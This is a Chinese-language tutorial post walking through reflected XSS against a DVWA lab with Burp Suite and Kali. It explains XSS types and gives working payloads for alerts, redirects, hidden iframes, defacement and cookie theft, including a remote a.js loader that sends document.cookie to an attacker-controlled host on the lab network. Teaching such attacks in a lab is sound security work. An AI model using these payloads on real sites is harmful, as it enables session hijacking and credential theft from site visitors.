二十五、XSS跨站攻击-(1)简介及常见攻击手段

                                   目录
  1. 攻击WEB客户端
  2. 客户端脚本语言
  3. XSS(cross-site scripting)
  4. 使用场景
  5. 攻击参与方
  6. 漏洞形成的根源
  7. XSS漏洞类型
  8. 反射型XSS实验
    8.1 初试XSS
    8.2 基于html事件类型
    8.2.1 基于<a>标签超链接
    8.2.2 基于<img>网页中链接图片
    8.2.3 重定向
    8.2.4 iframe框架
    8.2.5 盗取cookie
    8.2.6 篡改主页
    8.2.7 一般JavaScript攻击方法

1.攻击WEB客户端

之前的内容基本都是针对服务端的,而xss是在客户端作为攻击对象,一般不能实现对客户端的完全控制,尽管其漏洞在服务端;
VBScript针对微软的浏览器、ActiveX 、Flash、Javascript客户端执行工具/语言。

2.客户端脚本语言

  • 弹窗告警、广告 //比如输入格式不合格
  • Javascript
  • 在浏览器中执行

3.XSS(cross-site scripting)

  • 通过WEB站点漏洞,向客户端交付恶意脚本基本代码,实现对客户端的攻击目的
  • 注入客户端脚本代码
  • 盗取cookie
  • 重定向 //本来访问正常站点,但却访问了另一个被黑客伪造的站点,输入了账号、密码
  • 其他客户端脚本:VBScript(仅限于微软自己的浏览器)、ActiveX

4.使用场景

  • 直接嵌入html:<script>alert('XSS')</script>
  • 元素标签事件:<body onload=alert('XSS')> 页面被加载时执行javascript
  • 图片标签:<img src="(javascritp:alert('XSS');"> //插入一张图片,默认为图片路径,但也可以是js
  • 其他标签:<iframe>、<div>、<link>
  • DOM对象,篡改页面内容 //文本对象模型,是一种标准,通过调用api调用html中的元素、标签

5.攻击参与方

  • 攻击者
  • 被攻击者
  • 漏洞站点
  • 第三方站点(攻击目标、攻击参与站),比如服务端下发js,众多客户端访问正常的网站,而变向去访问另一个网站,导致ddos

6.漏洞形成的根源

  • 服务器对用户提交数据过滤不严
  • 提交给服务器的脚本被直接返回给其他客户端执行
  • 脚本在客户端执行恶意操作

7.XSS漏洞类型

反射型(非持久):正常情况下,黑客在请求服务器时发送js,服务器由于没有过滤,不执行此代码而是直接立刻返回给黑客的浏览器,此时只是在黑客电脑上执行,不会有什么问题,但如果黑客通过诱使(如邮件)被攻击者点击恶意链接访问,执行了包含的js,服务端原封不动的返回,并在浏览器上执行此js,而可能导致cookie的窃取,被安装键盘记录器等。

存储型(持久型):JavaScript在服务器端保存,每个客户在请求服务器时,服务端保存的js会返回,并在浏览器中直接执行。
若向服务器提交的片段中,被服务器原封不动的返回,则很有可能存在XSS漏洞

DOM型:在本地执行,不去向浏览器去发送请求

8.反射型XSS实验

8.1初试XSS

  • 1.首先在DVWA的“xss reflected”中输入一段数据,通过burpsuite截取到是通过get发送请求


    测试是否含有xss漏洞
请求报文
  • 2.点击“forword”转发后,查看response响应报文,找到提交的“123123123”片段,发现html响应报文中确实存在此数据,并原封不动的在客户端浏览器上显示。


    Paste_Image.png
显示字段
  • 3.这时如果插入一段JavaScript代码,是不是也会被执行呢?先插入一段html代码试一下:

输入<a href="http//192.168.1.1">click</a>

输入执行代码并执行
执行xss代码出现click按钮
点击click后链接到网关地址

通过查看响应报文,可以看到服务器端收到此代码并返回给浏览器

响应报文

上述通过插入一段html代码,然后被浏览器执行,也可以被称为html注入
结论: 应用程序端对输入的数据类型没有进行校验,不管是数据还是代码都被执行了,对本来应该是数据的,服务器对输入的代码却被执行

8.2 基于html事件类型

<script> alert('xss')</script>  //html可以包含JavaScript代码,通过此来验证是否存在xss

8.2.1基于<a>标签超链接

这回在刚才的插入代码部分,插入一段JavaScript脚本,在上面的输入框中输入<a href='' onclick=alert('xss')>type</a>或使用burpsuite,进行测试

转换URL编码

在repeater中,将转换后的URL编码放在name值后面,点击“go”

插入name值中

响应报文

效果:输入上述字符后,增加一个“type”按钮,点击后弹出“xss”


实际效果

8.2.2基于<img>网页中链接图片

<img src=http://192.168.50.253/a.jpg onerror=alert('xss')>   
//当图片来源是错误的时候(内网中不存在50.253的主机),就会产生error,去执行后面的alert
img的src基于error弹出xss

8.2.3 重定向

<script>window.location='http://www.baidu.com'</script>
//恶意攻击者模仿正常用户要访问的页面,当点击访问以为是正常的页面时,重定向到模仿的页面,输入敏感的账号、密码等信息
重定向到百度

也可以使用nc进行测试,此时客户端被重定向到kali上:


nc服务端监听

客户端发送请求:


客户访问发送请求

服务端收到被重定向到本机的客户相关信息:
服务端收到请求信息

8.2.4 iframe框架

<iframe SRC="http://192.168.50.115/victim" height = "0" width ="0"></iframe>
iframe
监听结果

8.2.5 盗取cookie

<script>new Image().src="http://192.168.50.115/c.php?output="+document.cookie;</script>
//将被攻击者的cookie信息发送到攻击者手中,通过诱使被攻击者点击此链接
盗取被攻击者cookie

8.2.6 篡改主页

此次篡改主页是基于反射型xss,而不是存储型

<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
//插入一段html,并显示“this website is under attack”
篡改主页
篡改效果

8.2.7一般JavaScript攻击方法

正常情况下,黑客不会向上述那样,发一大段链接给被攻击者去点击,那样的话,如果内容足够多、或者包含一些如cookie字符的话容易被发现。通常会发一个简短的js,然后指向到另一个地址去拿真正的js

<script src=http://192.168.50.115/a.js></script>  //此段为注入的内容,依赖于第三方服务器,在这用kali本机地址

首先,在本机上的/var/www/html/目录下创建a.js文件,并开启apache正常访问

var img = new Image();
img.src = "http://192.168.50.115:88/cookies.php?cookie="+document.cookie;

(1)创建a.js


创建a.js

(2)启动apache

# service apache2 start

(3)访问http://192.168.50.115/a.js正常

正常访问a.js

(4) 插入下面代码

<script src=http://192.168.50.115/a.js></script>

(5)开启监听88端口


开启监听

(6)执行,并查看监听结果


点击执行
获取cookie
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,546评论 6 507
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,224评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,911评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,737评论 1 294
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,753评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,598评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,338评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,249评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,696评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,888评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,013评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,731评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,348评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,929评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,048评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,203评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,960评论 2 355

推荐阅读更多精彩内容